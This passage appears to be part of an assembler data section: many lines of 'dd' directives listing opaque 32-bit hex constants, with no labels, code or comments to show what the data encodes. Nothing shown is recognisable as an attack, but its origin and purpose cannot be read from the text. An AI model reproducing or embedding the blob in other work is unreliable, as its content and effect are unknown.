60B0B292h, 37008263h, 0FB0114F9h, 0C9AA1F94h, 2A31ECh dd 0BF55E06Eh, 810E61A2h, 0F071A8FFh, 0C2A71B00h, 655828E4h dd 2230062h, 0CE9F2EB4h, 0F933F2EFh, 0A8D8C811h, 2851DC4h dd 20B3A453h, 0E0D00251h, 0D0910D79h, 2B5A3E90h, 16123D0h dd 85D904A2h, 9E98D436h, 0C2525A7Dh, 294B01A4h, 533B0256h dd 14D3C0D7h, 8E9648F9h, 7F12C801h, 6044DE3Ah, 64912D8Dh dd 0C8FF1C0Bh, 0F1DBA5Ch, 0EAC6CA33h, 422F124Fh, 268B801Eh dd 5D82B92Bh, 346F1301h, 0FC3362Dh, 0F8BA8660h, 0C0A9C0D1h dd 4CF153BFh, 0A2B898B6h, 64FDF897h, 8C081861h, 349E42E0h dd 0D2465Ch, 353876EFh, 58C644DAh, 680C8BCh, 0F7CCE10Dh dd 6D86C900h, 89149210h, 40A40F6Ch, 0B3C49DF5h, 12C4C1EBh dd 0C80C0072h, 83661AD5h, 0D460105Fh, 1083EDFAh, 3E619228h dd 36BE121Ah, 0CCB974A0h, 0B630BC91h, 4CD1F2E1h, 0B21863D1h dd 0DBA90A00h, 0B4C11F13h, 1ED91364h, 2EEC289Eh, 7366D30Bh dd 59202169h, 0A880E706h, 7B6D8738h, 0A2073A0Bh, 1ECD6B5Fh dd 11041D9Bh, 0FFD2805Ch, 0A81122E3h, 14BF4CD8h, 90783286h dd 0F00C6E86h, 0EA2E64B0h, 0A803E8DEh, 48D7BA50h, 2F4B2090h dd 0B02394h, 0AEF0D402h, 8212718Ah, 34A2E44Ch, 4858F510h dd 95D30810h, 944591ADh, 64250B10h, 2C1C5Ah, 7DBE57FDh dd 253F849Dh, 6975807h, 0B89A7EDAh, 0E03C2A58h, 45F507F7h dd 23464ED0h, 542C5684h, 0B2002087h, 0EC83F296h, 8EF09920h dd 5184CDF7h, 43C8ACDAh, 335AA2C4h, 1E990388h, 6CFE092Ch dd 1BC8D380h, 7859A201h, 5EACB40Bh, 0AE395746h, 339702FEh dd 99FF1DC5h, 83A50068h, 9A6B6800h, 0BE5BC737h, 961513B4h dd 0DC0D008h, 0C802061Bh, 8310622Ah, 0C084E8D3h, 0BB880916h dd 10047C03h, 5820F28Ah, 8C59B870h, 0A475DC3Fh, 56800C9Eh dd 1EB6C99Dh, 70A0E239h, 0E52A28E3h, 2F875B88h, 1E92354h dd 0C77D9E97h, 73FEF950h, 194B0074h, 76DB31E8h, 47F339ACh dd 0AA459Fh, 6BD48748h, 1FEC0C1Bh, 0BC3C4148h, 87178CE6h dd 8C64856Eh, 3ECD9C02h, 0A5EC94CCh, 6064C418h, 16B8C19h dd 239C7E71h, 23C0A8A1h, 30B1B2C4h, 0CB02A471h, 0C1AE498Dh dd 9D7CC1C5h, 274AB028h, 0ED1EB048h, 8900A58Ah, 0F315EB3h dd 7A49BE78h, 9A278017h, 0D9D5F013h, 66425447h, 821469C3h dd 223C4982h, 0C808E4h, 0EF0D5902h, 0A30A217Ah, 99E04900h dd 1CBF6C27h, 0B89088h, 21B535EBh, 0CA58B816h, 16340D48h dd 3C30BE22h, 405F0164h, 230961B4h, 702EECB9h, 8054995Ch dd 6397E1D6h, 75274523h, 3EE09D33h, 5C030946h, 0D1A32095h dd 9901EF0h, 7E82B70Ah, 3D649882h, 11D63C5Eh, 1508E5F4h dd 0A0EFB6h, 16E9022h, 1231F57Dh, 186E443h, 0B662E64Ch dd 0BC043C58h, 0C4098CD7h, 422B7CAFh, 642EC094h, 0AF609B0Dh dd 61911895h, 99BAEC80h, 0FE0121E1h, 0B96B543Fh, 1870D860h dd 1CA1CE0Bh, 1DF96F0Ch, 85581A00h, 0D134E9ACh, 0C8A100F8h dd 0C0098406h, 0F90C6A39h, 316EFE83h, 23F74821h, 48FD1D00h dd 6745DDA4h, 8F464B00h, 0D118AF2Ah, 3872F3FCh, 0C854CA92h dd 0CDAEC0D7h, 0D60A4F9Fh, 0EC9AE766h, 0E08C802h, 9C78CCEDh dd 0B3465664h, 68FFCF14h, 5180F63Ch, 0E8FBC439h, 2043EB3h dd 0B8664738h, 0C71E5980h, 0D39DE001h, 4B880031h, 0B5A727A8h dd 0D5C4F200h, 0C5D436B6h, 5B4C00E4h, 13822045h, 0A5F0ED7Dh dd 56B6D60Ch, 1006C088h, 3DA3201h, 1DEE5F2Ah, 8C41B12Dh dd 2F81A893h, 0AC231Ch, 2E01225Fh, 74001955h, 9DA2C37Ch dd 4B21ECF0h, 1E88017Ah, 368830FFh, 852F0014h, 0C589A695h dd 0AA70794h, 763D1D55h, 0E10F61A2h, 817D302Bh, 86ED1045h dd 5701B862h, 7019599Eh, 0A0463A0Dh, 0E9A11A2Bh, 9692CC47h dd 0B64C407h, 4B710A4Fh, 0E5B5FC68h, 0E8E8F8ABh, 0E71D301Bh dd 1205269Ch, 0B8407FFFh, 845A828h, 47523CD0h, 8B1044DCh dd 61212B2h, 0CCCB9874h, 7EC06688h, 0C0B01957h, 9583D42Ah dd 0C60953AFh, 985F06E5h, 34F97C64h, 827896A6h, 0F0D93964h dd 3F187771h, 0A6E0C11Ch, 0AC1AC2C0h, 3EFF4526h, 0B73F151h dd 6958221Ch, 0D511B01Dh, 44CD2080h, 1D09A510h, 423A58BAh dd 0FE50820Ch, 2060527Bh, 0D348E082h, 0FE9CC54Ch, 63D43089h dd 5A01262Bh, 4F3902D0h, 8489B5Eh, 0D7FA8665h, 0F300C4BCh dd 0DF589C3Dh, 0E2060C66h, 0BD18D18Ah, 9A013225h, 0C448C5BCh dd 73586065h, 4D993E1Eh, 0AB881700h, 7720F4ACh, 3DC28BEh dd 3008EDB8h, 8D819C86h dd 0A3ABEC1Eh, 0D0D2D80Fh, 1D495FDh, 0A003BE50h, 0A1E0C572h dd 167A008Bh, 13C40785h, 0C4B8771Ah, 0A7CF0C14h, 595D1094h dd 9A241658h, 0CA0D9D4Ch, 1680AE81h, 0BACC60C1h, 0BB4425F0h dd 828D041Bh, 0FCB92B2Ch, 683C04h, 0BB50175Dh, 816F13E9h dd 48FAF6ECh, 7F7EE4A0h, 3C284A00h, 1D185FA2h, 0B42E53DBh dd 2B305AA2h, 0A41F4945h, 75E7582h, 291A6869h, 8C63A87Ch dd 995C5E00h, 9CA9B13h, 7D12026Bh, 6AFD240Bh, 0E3212C5Ah dd 89527BFh, 1680D591h, 0B6C766A5h, 2100C174h, 0D6CF922Dh dd 4ACB4E52h, 0D388C06Fh, 1A32B6D4h, 6209106Ch, 7964514Ch dd 0E32D18D3h, 0E7A5B06Fh, 0C53AC304h, 74B80660h, 128C6FBCh dd 0CCC606D2h, 4A091D64h, 0C7ADC187h, 60D044D4h, 0E180B0h dd 10B1FFA9h, 4B611B54h, 2700525h, 0BBB3F24h, 5A11301Dh dd 0F8F2482h, 5EB88840h, 489A2358h, 0D21C0490h, 6C01C056h dd 0AAC9089Dh, 4C706C59h, 7D66109h, 91E01733h, 0FF2C8068h dd 166A04C1h, 90A9644Fh, 3B9AEA64h, 0A4D5F02Ch, 0DA057D1Fh dd 80B3BDD2h, 0AC30D4B2h, 0EDE21FA2h, 291BC92Bh, 0AB0864A7h dd 68297D8Bh, 365838DBh, 34BD1CFEh, 59FD43F4h, 0ECE05BC2h dd 5EF4D1D9h, 0C14AD574h, 7723882Fh, 0EEE49D00h, 79BA647Fh dd 457300F5h, 0F6747E2Ah, 84016B25h, 56CDE3EDh, 1800C8BCh dd 9800442Dh, 0E6A59660h, 0C0ECB507h, 4CDE31B1h, 9BF4C56Eh dd 58443Ch, 0E7AA85BEh, 24667595h, 28A4188Bh, 6DA14E8h dd 0E6F8B8BFh, 1E32138Ch, 0FC3CCD66h, 0C77D952Ch, 84AAC388h dd 6861BC8Dh, 0A4C03A2Dh, 379C0434h, 0E2E45DBBh, 401B1368h dd 0D723042Fh, 714B0A00h, 0E82E16EBh, 6E310B3Bh, 0D4406A5Eh dd 0FA011885h, 21061E91h, 403812C6h, 0E824EF84h, 6C305F78h dd 12ECEAB5h, 0F04FB3FAh, 0FF1F21EEh, 0B00071F5h, 82FC55CEh dd 66D31695h, 1A0C82A3h, 68516073h, 2A0A1618h, 0E2713439h dd 82C8200Bh, 17C3218h, 281A187Fh, 0B39C048h, 9D94201Fh dd 63005416h, 60FE0B31h, 996B294h, 0A7C1E85Dh, 5A00F0E4h dd 1FDBA430h, 4F1BCC47h, 956C00AFh, 16B4D97Ch, 804BC012h dd 0AFE220B2h, 56B6D30h, 0FE8B0891h, 99B04087h, 82A44A73h dd 81D47E3Bh, 0AC208A97h, 0C8FD1431h, 0BB202828h, 5969A4B4h dd 18767974h, 37EF07C7h, 0F3DBF412h, 61D31EE9h, 0DCD30FAAh dd 0D2BC6509h, 7B79C4h, 0CDF28776h, 25D773B5h, 0DA1C670Bh dd 35A8A3CAh, 0D0009589h, 0F0605265h, 21465EF7h, 406F8EF8h dd 7E5483E8h, 824E2900h, 23630DE5h, 0D06569B5h, 91EF8865h dd 1C5808Ah, 0F1CE2334h, 5586F4C6h, 0E29F5E27h, 840C7910h dd 0A421ED1Bh, 0D30B1EDCh, 83847DACh, 0C038414Fh, 794374A5h dd 80239D28h, 6EB16631h, 0AC983D81h, 993003DEh, 7EDAA3D3h dd 78C6EEA1h, 0AE850A30h, 82C0E8CBh, 911D34F7h, 832A9F98h dd 5ED41AC8h, 4CF27EC2h, 197058BBh, 25470BBh, 2362EA81h dd 0C8F27009h, 7CBF9220h, 130D5B65h, 0F794A2A8h, 0F620C038h dd 1777F42Eh, 4C8F2C01h, 97B6E17Dh, 4AC9A46Dh, 6626E402h dd 233D7D00h, 37D62C84h, 8D961F0Ch, 80B028FDh, 0CFB75F61h dd 184FF161h, 199AFF0Ah, 0F6000217h, 31F56792h, 284D70h dd 6BD4881Ch, 6DE89F4Ch, 0B552E212h, 0B4128CF0h, 17DBC0B4h dd 91220F3h, 8429DC4Ah, 23842F3Bh, 1A0305B3h, 3AAA12C3h dd 3AE2350h, 0CB14B0ECh, 52994BB8h, 478B4494h, 719CE9BEh dd 0E0980BCAh, 0FF0E7EFBh, 62446F1Eh, 48E7EB05h, 27664064h dd 2002D2F4h, 84B2C2A4h, 0D7E46CE5h, 3650C660h, 98D2A72Bh dd 0B718AB59h, 46004CE6h, 0E5125E65h, 0F8BE99h, 9B1103CDh dd 152B6310h, 2846854h, 1D80B4EEh, 0B07CE706h, 28C59BCh dd 3362F6BCh, 0B09053A5h, 1680C913h, 0D0CB091Ah, 0F45043B6h dd 1F17B702h, 0F8C15362h, 7033FB80h, 0A3FC24h, 0FDB39214h dd 0A039C67h, 0C339D52Dh, 0F535A821h, 66BF0B79h, 0F0D97BAFh dd 0DC18ACD9h, 7501B9F8h, 0B48F93B7h, 50F9F78Dh, 0F82ED980h dd 1907EC16h, 9AF2E403h, 0FB8EB824h, 0A506C028h, 7950B940h dd 0E76C18D7h, 52CD8F8h, 346A8FA5h, 0E3EC81DFh, 548104C0h dd 17DC8D52h, 40944A96h, 9A9106ACh, 10003F3Ah, 62270357h dd 0BDFCEED8h, 0AC837089h, 2BB94A39h, 0D8202A57h, 4979A6h dd 0C630F9F1h, 0AB151AD6h, 0C9B6BF0Fh, 454A2070h, 1F265C76h dd 45529D6Ah, 56551B62h, 0C5F861E4h, 42A05096h, 54394E57h dd 0A21D89B9h, 29998006h, 0BF39D0Dh, 0EA011EA8h, 0E402DC41h dd 0A5FCDE1Fh, 0F48D222Eh, 0E8B28296h, 23AC2B4Eh, 0C53A008Bh dd 0CEDBE532h, 0D46EF816h, 0E133E842h, 0D934F13Ch, 7441876h dd 55AAF8B7h, 81B1A43Dh, 0C665A7F0h, 0C2736840h, 988EAD4Bh dd 0D6C0E888h, 9AF2147h, 8852B6D3h, 9D0068D2h, 0D59B0D2Fh dd 18090878h, 68A36B02h, 0C7025361h, 0EC9F2EC1h, 0BBE8A07Bh dd 30CF0159h, 0E361BA07h, 0CB099445h, 7813AD7Ah, 1B871770h dd 7024B4C2h, 0A00B9425h, 5F6A657Ch, 0A8626040h, 904F105Ch dd 0F9061A03h, 17618D12h, 0E2E6BFC1h, 3077F2E8h, 7E052FFBh dd 0FA1F4973h, 20750C0h, 0A4099D33h, 38003CF1h, 0DF43A609h dd 1A57277Dh, 0ACE454C5h, 5F06C460h, 8DF57700h, 549D0CD0h dd 0C2D92667h, 0D83D80F0h, 6683B83h, 150B0A0h, 201B1940h dd 0EB00C292h, 0BC38079h, 0B50AB67Ch, 0F7C01407h, 64A820EDh dd 0DD00ACC7h, 603607FEh, 275EBA90h, 8800BF53h, 0C5CD208h dd 0D60358C0h, 36B5FEh, 92D3E412h, 0DEEE50BEh, 0B84C8890h dd 6A809F74h, 0C406199h, 0D7A51EC5h, 0C3D2817Ch, 548BBC65h dd 0E080F6F8h, 75523D4h, 5D474B92h, 6CDAEB42h, 132B0B00h dd 0C301CC52h, 8B12183Ah, 90918CD1h, 0ED0D2504h, 50F0151Eh dd 0C70C171Ch, 0DA631319h, 0FA08C008h, 13036698h, 88C2E9EBh dd 35484048h, 0F2DB09ACh, 5190F978h, 414E0C65h, 2E342084h dd 0F6D1E740h, 7CB19F21h, 50623E22h, 38F205B5h, 138EBA20h dd 0D047830Bh, 7420EFB8h, 5091E496h, 769F6A00h, 0D2A8C6AFh dd 0CF079A77h, 0F7C778A7h, 7435B0ECh, 43EE25C8h, 0D360686Dh dd 0B5065A7Ch, 9FD98898h, 0C33D40A0h, 98FFC502h, 409176D2h dd 0F8D0BE4h, 8347B0D7h, 0A66CBDA2h, 9024C4h, 6225232Fh dd 449755D8h, 0B5877191h, 235FC1F1h, 27C6C0Dh, 5835F782h dd 800076BBh, 0E33EF1C1h, 9DE8C61Ch, 0B3B7139h, 5AC330EEh dd 50A01E00h, 6DF780BEh, 80844514h, 0D71C100h, 6B934D5Ch dd 27AC9823h, 0B8CD5FA2h, 4D647EC0h, 0FB7C0B71h, 7885D8C7h dd 4BA4206Bh, 84A4593Dh, 465EC09Eh, 1FAD00D1h, 3A94EC70h dd 973035Bh, 2D18803Ch, 40BE2AE8h, 11C1704h, 0DCE7BADBh dd 740393A0h, 0D5DF9501h, 0C6629F4Eh, 0CA98043Bh, 81CF8530h dd 7534E800h, 53184194h, 3E5862C9h, 0C8584283h, 12E80F24h dd 314BDFEh, 99240B3h, 1AABF839h, 8F380513h, 81B049B1h dd 774BDACh, 0C2631053h, 0B545C85h, 44104B82h, 139081Dh dd 0C8C0CED2h, 25852B5Fh, 809D2F97h, 829F6F11h, 0C43F021Dh dd 39F1F0C8h, 706424A5h, 56B1D660h, 0C08EEE2Fh, 12010CE4h dd 0F30FEA16h, 3068A2A0h, 0B90067B7h, 0F44F88DAh, 0B4E6BCF5h dd 88A81468h, 0A9E5118Fh, 0B2FC53E1h, 3363F248h, 0D8FDA5D1h dd 0E607B5DBh, 0AC2D21A9h, 0EF42E1C7h, 129456AEh, 9CE0C2D5h dd 8142BCE3h, 305AE238h dd 97047156h, 0DFD5F920h, 0EA2AD0EDh, 9F860A9Ch, 7430BDADh dd 65076646h, 0B0C6F5EAh, 870EEC49h, 22EDA304h, 8A3AFCBh dd 903070B2h, 667616ACh, 2894808Bh, 0BD41A959h, 41300E7Fh dd 0C4DA9290h, 76CA8080h, 1C04FD42h, 580134D4h, 485855AAh dd 0F1010DB8h, 1301B707h, 0D472E4C2h, 23642F4Ah, 6D4E00AAh dd 9D5E580h, 93FD793Ch, 6C449D54h, 89A34BCh, 6C894E00h dd 0B56A4FB6h, 8B40E30h, 7DACFB45h, 8966004Dh, 8CCFEF82h dd 4900FFCEh, 0C45C9B85h, 7CA7BF05h, 8A360122h, 91D0B2FBh dd 173881FAh, 0ADF0FCF8h, 53411180h, 0B7B66589h, 3A4434A4h dd 896B0061h, 4103BE9Ch, 0FA00A149h, 0EF7B8AB7h, 1DAE924h dd 75A617A5h, 15B4D02Bh, 0E71A380h, 0A0C3003Eh, 0A1A9E353h dd 0F0F37EF2h, 4C0FCA46h, 6048B3FAh, 997AAD81h, 4DAE3C76h dd 0F4161A00h, 9501A206h, 9677BFCh, 206C1208h, 0F3FF003Bh dd 70A8C788h, 0C11485B3h, 0AC6C14ECh, 43008C49h, 0A153FE99h dd 0DE4201E1h, 0B1EB9E1h, 808A1D37h, 0E871CCDFh, 3C0C13E7h dd 0D068F5E3h, 31476003h, 0C1CE2BE9h, 22D94D2Eh, 0ED41441Fh dd 9E353D74h, 46BC71A0h, 0E05028FDh, 505FB629h, 4E004611h dd 0E5338968h, 0F402F520h, 16DAFA56h, 73A0801Eh, 0A4A66491h dd 3AD00B8h, 1A521338h, 0CA1D4914h, 0A518176Dh, 0FB7321h dd 0E53B937h, 0DE896202h, 9549A112h, 4523083Ah, 98ABBF00h dd 1240F37h, 0EE351748h, 4047CA2Bh, 2284AC88h, 90A94BE0h dd 426EF889h, 0B7B8CA3Ah, 50C048F8h, 0EA418F0Fh, 96B11E4Ch dd 80307084h, 8937DADh, 9F41503h, 0B86794A2h, 0F3FE3A80h dd 0CE1B0B2h, 49A03114h, 8C002A79h, 4DDD10F7h, 8B7A0Bh dd 1E05C226h, 27EEEBCBh, 0D7658500h, 2C03811Dh, 0B6E504FBh dd 819E55C4h, 53B3F7A0h, 6BA26FA0h, 3806B8B0h, 0F2521611h dd 0A80A788h, 34A37DEh, 90A10E8Eh, 5B89E352h, 8A9D8420h dd 281C7796h, 5828F84Eh, 0EC684C00h, 4DD1C75Ah, 7A2F3377h dd 21075B08h, 0D3EC800Bh, 0D9985700h, 0DE4E2926h, 0EC820120h dd 1881C750h, 0E06D8957h, 5202F0ECh, 0C67C598Fh, 0FCCE809Ch dd 0A87B31E2h, 643FAC0h, 0A5A77E20h, 5E1ED1B7h, 0D94FA478h dd 0BCB10322h, 0A310F0E7h, 9A9009EBh, 1098D651h, 7B03674Bh dd 2ECEC682h, 0D11F8038h, 6BB6009Eh, 6DD96903h, 5E289CB4h dd 0C600B49Ah, 0B840672Eh, 24FBEED0h, 24EEC2FAh, 0D2980114h dd 2167E63Dh, 821F180h, 70E8C68h, 0F0521738h, 37DFF0E7h dd 0BA14D2D7h, 2AC4613Ch, 5546ECCAh, 14380870h, 0C3C42252h dd 37F89040h, 777C974h, 81795C01h, 9F8C1E02h, 3E4C4h, 197BD20Eh dd 5AA9161Ch, 54229624h, 9E737080h, 2C10D38h, 3D586223h dd 884AA434h, 1985C4B7h, 0C0C0C12Fh, 5E39FDBh, 31F4B744h dd 0C0AC1DBBh, 0D2A18687h, 9CA0391Eh, 61C3A823h, 0BEC6A4B6h dd 86660428h, 0C0B720F7h, 4E2736E1h, 802CDF49h, 0C751EC83h dd 5A448C69h, 0EC7B090Eh, 9085B65Bh, 0C2B05F85h, 4B0F26C1h dd 0A45CEC80h, 70C9AE3Ah, 1980200Eh, 4C740B68h, 0EA1E4CA9h dd 0D354006Fh, 2096E0C7h, 0B9B59CA8h, 9FD9E03h, 0B19CA661h dd 7FDC6BB1h, 14644DADh, 4F41880h, 448C11A2h, 19013924h dd 4686D6F4h, 0A45031F2h, 0E816C389h, 0BC4700E9h, 0EF249169h dd 6024B52Fh, 0C58290F5h, 47FA8EB0h, 8F916F18h, 56CE800Ch dd 1C31C28Dh, 0A809768h, 84A04C32h, 0C28E8ACFh, 1230667Ch dd 0A20208F4h, 26649A21h, 0F41BB740h, 0D31441F6h, 0EF03412h dd 2172D8B8h, 80F53002h, 26FA288Ah, 52465EE8h, 6A998E03h dd 0C1E07D8Ch, 0A630A951h, 7AE5D9A4h, 106E0A2Ch, 0A48A63h dd 0C5F6B24Ch, 8D005869h, 2B2C4B20h, 0F728742h, 0F730B990h dd 0FC604E2Ch, 14DB3B09h, 4C140667h, 2BCB24D4h, 21842840h dd 5A81F11Bh, 0EFB66889h, 0BEE4C5CEh, 75895280h, 0BD70DE59h dd 44030E00h, 1145CDC2h, 7BDC9973h, 0E35662E4h, 51C0B7DAh dd 219D82Dh, 0F29EEC9Ch, 0B4813D72h, 0D247634Dh, 0CB2D9882h dd 54778C90h, 0BCC62C12h, 0C8027413h, 0E95C552Bh, 0C7104A18h dd 7304B58Dh, 0D3B4F4C2h, 0BAC0B8C7h, 52F55A8h, 3368541h dd 86880F11h, 0EC03200h, 0F3003E0Ah, 3D2C5915h, 90ED9F7Eh dd 76A4648h, 52153809h, 0C13217B4h, 37E10D20h, 8C390B4Eh dd 4C06E5AFh, 7B26A1A5h, 0F944BCF2h, 2AB814D0h, 0A1489264h dd 13186350h, 0A203F408h, 400EC439h, 0CDF41CB4h, 0DFD4003Ah dd 277B8F7Eh, 0CA51FAC0h, 0C0D01B34h, 39E5E695h, 100B0C85h dd 75C8AE03h, 52FD6A40h, 672330FAh, 12380203h, 0C2629452h dd 37307627h, 2C3A5h, 0E3A9BA5Dh, 5848DD56h, 2C4840B1h dd 0C04654h, 0E9AA82B0h, 122685BCh, 8BB7A52h, 4CC01978h dd 25B66E89h, 0C814697Fh, 890564ECh, 0D02A591Ah, 145250C8h dd 804F08BBh, 0FFD29F02h, 74606D39h, 0AE12702Ah, 0FC9A1448h dd 0A0057FC0h, 0BFE53EEh, 71B9A130h, 2C9F8E4Dh, 84E0A56Eh dd 8021C33Eh, 0D5F4B258h, 2E184A60h, 609D7244h, 606B3CDFh dd 9F493069h, 0D05810h, 0DCEF08Dh, 92033EB8h, 20F8A8h dd 2C67C5B4h, 4484D919h, 798E5037h, 79164F00h, 20EF05E3h dd 8EAB6AB9h, 0C0568858h, 0DB68F517h, 0D7C14814h, 23944890h dd 0EC6C0FFCh, 0CE71C745h, 640F00C8h, 9CBAAEECh, 6BF828DAh dd 6F94A1C0h, 0C1F25072h, 264BEF30h, 8EE43674h, 0BBC0C471h dd 8ED0B321h, 0A61E2F14h, 8D0477ACh, 6EC2A3ABh, 779A8B0h dd 576A77B6h, 50458FB4h, 1E44033h, 65F09E2Fh, 0DB003875h dd 0C1FDF254h, 0ECAD7EEEh, 8129C03Ch, 41F15EEBh, 78009D71h dd 5CE535DDh, 14CBCF04h, 0B411A4D5h, 0B072E041h, 95178900h dd 3E9726B4h, 0E302F4B0h, 0F36D3FC0h, 78B7E19Dh, 6FF14420h dd 18406937h, 0F76A70FEh, 0BB155600h, 0C386415Bh, 2420901Dh dd 40107B30h, 0E6A06F0Dh, 0F736B30Bh, 11101F28h, 105893Dh dd 3036A760h, 20D51892h, 0A27A0228h, 0A8342830h, 4D50DB3Ch dd 2BB1886Ah, 0D8320D36h, 6F300FE2h, 9D160020h, 0FE8C8225h dd 0AE05A463h, 0B6F9072Eh, 0EAB2C0C7h, 0B8F488BEh, 4860FB12h dd 235DEC6Fh, 5111C9C7h, 0EC670A02h, 0D1C070E3h, 0CF48E1CBh dd 0D8B02496h, 91641D25h, 298B80C3h, 0BD20FF5h, 981E9460h dd 0AD8D0C02h, 1011849Fh, 0DBED9D80h, 0A5731AE3h, 256CB87Bh dd 48AACA21h, 0BC1C6C31h, 0C86314DAh, 0A0F27905h, 49D40B36h dd 58492889h, 3A422A5h, 7E78D8BCh, 2501FF5Fh, 61D61418h dd 824B784h, 79C413B4h, 5990D1A9h, 38B02520h, 1E961890h dd 39B1FC89h, 0EA0FCC2Ch, 2814ACEh, 0A55796D2h, 11549DE8h dd 97868013h, 2A24EC41h, 9C40854Ch, 0F11A62D0h, 6B89D01Bh dd 698721B6h, 7D4791h, 131B8965h, 10F0E46Eh, 0A0A62D25h dd 94ECE9DCh, 8E550030h, 2AA94231h, 0AD00A225h, 0A32D9CAh dd 2CD29C6Dh, 0AE6C3316h, 0B700D670h, 0B862F343h, 4C5534F5h dd 80160DAh, 0FDA094CFh, 0B24063ACh, 0E8963046h, 4BB1F607h dd 0C2D2411Dh, 88C8438Fh, 0BCA008h, 0BACEB553h, 0C92DADF4h dd 6D995E61h, 0BC502996h, 0A8585Bh, 2F1FEE11h, 8E90B221h dd 4BBDAB01h, 8CA47FD2h, 0CE018433h, 0BA8D4002h, 9DB9D4B0h dd 97482307h, 65102DB2h, 3073F7h, 53BE1E8Ch, 0EAA4A0A2h dd 428BD48h, 0C7F8EC8h, 3A154C0h, 509259h, 5E2B998Ah, 0B4445062h dd 0B51FBCE2h, 0D4876D7Ch, 14F01AEEh, 0E0E2C882h, 0E0E7269h dd 0B11BBB0Bh, 6A87A080h, 0F0950FCh, 404E9739h, 0B2C5A24h dd 0C16B7ECBh, 66E8008Eh, 3DDE5B09h, 442C0324h, 91E73F08h dd 915DAB0Fh, 518B5E48h, 67B60C82h, 4F604C71h, 0FEBF8969h dd 46F4FDh, 0BA16B806h, 0CDB1E7E0h, 1DD73000h, 0D3EB0E54h dd 0FC5F095h, 0ECB35294h, 7FA1C078h, 88A81F24h, 0A3655F64h dd 0C746888Ch, 0DF6F0039h, 0A0093FDDh, 18E02DAh, 7EED3C1Ch dd 10F2DC22h, 0EAA830h, 8B56B3FFh, 64DB52E3h, 0BBB06C61h dd 0B84EB9A4h, 0AEC04488h, 6233BFh, 0BA5A184Ch, 1CCCEBCAh dd 553DD700h, 9CB7E7B5h, 30AA48AEh, 56016802h, 0E37EBA8Ch dd 0DF78FD00h, 74C5DBBh, 9A3D392Bh, 90C855F1h, 32F2ACA0h dd 0ED1371C0h, 99C0D0Ch, 0F6E4C37Bh, 0EE903A01h, 4200604Eh dd 0E9A4175Ch, 3CA330E6h, 380FE27Dh, 92DAE5B4h, 5468C099h dd 0EC8CA7ACh, 9E410460h, 0C74A06F2h, 0B4E2374Ch, 72F0A14Dh dd 13B43BC4h, 0E8D2548Ch, 1C44F2h, 98AD0586h, 5DAAD2E6h dd 465EB494h, 651F0546h, 5280B81Ah, 92B6DAA1h, 0FFD50124h dd 813D2C58h, 65D0209Fh, 0B208E89Eh, 289609F9h, 44E72020h dd 903474Bh, 0AB9A9DC5h, 5059E0DBh, 0B8A35C72h, 7ED4094Eh dd 27C468E5h, 47644060h, 12E38613h, 2CB63C02h, 8460DB16h dd 0F014DA4Ah, 905DA1CCh, 342BC04h, 0FFA18A72h, 48823C56h dd 54270448h, 3D031D00h, 0C884141Eh, 38CE7894h, 4899B24Ah dd 20547846h, 0E0BB1468h, 3331E270h, 2A714FF5h, 963E9CF8h dd 206B6F4Eh, 0F773D201h, 0C88576FCh, 3D092445h, 65285399h dd 6055C400h, 7058187Dh, 8008BE67h, 2F22BD39h, 816B3D6h dd 2492A409h, 0E35220CEh, 8CA151F1h, 4A046933h, 5323402Fh dd 4F40A21Ch, 21C33FA6h, 0A736004Dh, 0A892898Bh, 0ACB99997h dd 27037503h, 0B211F00Ah, 4CA9202Ah, 8AC95D0Ch, 9252528Eh dd 0B520C470h, 97B1004Eh, 0B91B2BB8h, 0D815AF7Ch, 2831091h dd 9DC04ADDh, 0DC90A5BBh, 9439020h, 3AC6FA19h, 923CE807h dd 54015BFDh, 9C7C02C2h, 38C3ABCh, 0FA9F71F4h, 580753F2h dd 35AD3A88h, 48B89B21h, 0C7C82DC8h, 0A07BA130h, 728755Fh dd 9430BBFAh, 0C75A803Dh, 15B4B2Eh, 0F5C4B63Ch, 26606CAFh dd 4674286Ch, 3152013Dh, 0EC9C9D32h, 0DE879878h, 4A782050h dd 57036C75h, 7037594Bh, 235D890Eh, 0F530A440h, 0C31CA1Bh dd 2CAB2DC8h, 32E2BE03h, 84F2E829h, 0C93C5100h, 3DF149A0h dd 78A6B7h, 2570A2E7h, 798436A4h, 0EF475304h, 408D4001h dd 0EC6E30CEh, 6143C7E6h, 0EC660980h, 0A00B93Eh, 54E85E75h dd 90F5E663h, 0ACD51370h, 0ED3800DFh, 860A0E53h, 36B47900h dd 3230E5C8h, 2A101280h, 8B10B0A1h, 630E8C4Ch, 5843965Ah dd 68106CD0h, 6D48603Fh, 0F92FF8h, 15105061h, 8ADB0E67h dd 25557807h, 2D816A17h, 0D442D056h, 1CAC507Dh, 6EF83643h dd 5700F628h, 0B9FA64BCh, 20F340A6h, 0B8258F8Eh, 24C69B0h dd 12FE848h, 0F8DB0640h, 0D0313CA0h, 0CAECC781h, 0D8488233h dd 55F4E96Fh, 5144A98Bh, 0C4B45C10h, 1896F137h, 0A4478663h dd 98BA8CE0h, 10BB24A6h, 566AB150h, 3950854Bh, 208B814Eh dd 9FC00FC8h, 180488h, 7F9E6728h, 3EC5F280h, 78130B36h dd 0A4292090h, 0AB148EEEh, 9ACB845h, 0C40CC92Dh, 71F4992Ch dd 7818C3h, 29327628h, 0C2A0513Ch, 0F290AA54h, 0C3C03454h dd 0D89F6B00h, 0B4F55CAFh, 0C94732A1h, 0E0193E88h, 28C690Ch dd 52183804h, 0C541502h, 5FC7450h, 0B7B88F37h, 549C4077h dd 5BB4D5EDh, 81A0A658h, 9AA44FA9h, 80DC68A9h, 90EE6CE4h dd 0E501D7EBh, 51BE1834h, 0E82DA75Ah, 523B60Fh, 2AF857A1h dd 74E0410Eh, 42146865h, 0C078F7D8h, 84F9CE03h, 17FDDC01h dd 969CB72Eh, 4801AC7Ch, 1CF73189h, 0E228634Eh, 0AB1A3056h dd 0D43F9301h, 4ADF8EC7h, 1C99B441h, 0ECDA8980h, 0FF471FF1h dd 4C4B501h, 64E4E7C7h, 959F9830h, 9E00E40Eh, 6EF053C2h dd 0E310E490h, 322F637Dh, 3C438422h, 9650BC5Ah, 2D00B430h dd 0B91B1363h, 7542A62h, 6FEA6015h, 2C3431AEh, 48F1A822h dd 0B71A4B10h, 4AB3684h, 74880FB8h, 713D6002h, 5E1C78Ch dd 9C16DE01h, 0C03671B3h, 4F83930h, 1AFA9E53h, 68408040h dd 4A322D2Ch, 0C1AD689Dh, 2E5318h, 0CCFBD68h, 0C20C2117h dd 800DFF3Eh, 80389C99h, 75D55C79h, 0B000E310h, 0FDA8EDECh dd 277651Bh, 